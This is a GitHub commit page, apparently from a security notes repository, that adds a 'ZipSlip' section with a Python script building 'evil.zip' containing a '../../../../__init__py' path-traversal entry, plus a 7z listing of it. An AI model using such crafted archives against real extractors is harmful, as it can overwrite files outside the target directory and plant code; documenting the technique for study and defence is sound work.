Skip to content

Commit

Permalink
add zip slip
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed Mar 12, 2023
1 parent 4799793 commit 7415ce7
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions docs/programming/python/introduction.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,30 @@ description: Introduction Python programming language

# Introduction

## ZipSlip

```python
import zipfile

zf = zipfile.ZipFile("evil.zip", "w")
zf.writestr(zipfile.ZipInfo(r"commands/command.txt"), "echo 'Hello World!'")
zf.writestr(zipfile.ZipInfo(r"../../../../__init__py"), "content")
zf.close()
```

Result:

```bash
$ 7z l evil.zip
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
1980-01-01 00:00:00 ..... 19 19 commands/command.txt
1980-01-01 00:00:00 ..... 7 7 ../../../../__init__py
------------------- ----- ------------ ------------ ------------------------
1980-01-01 00:00:00 26 26 2 files
```

## Cmdloop

Source code :
Expand Down

0 comments on commit 7415ce7

Please sign in to comment.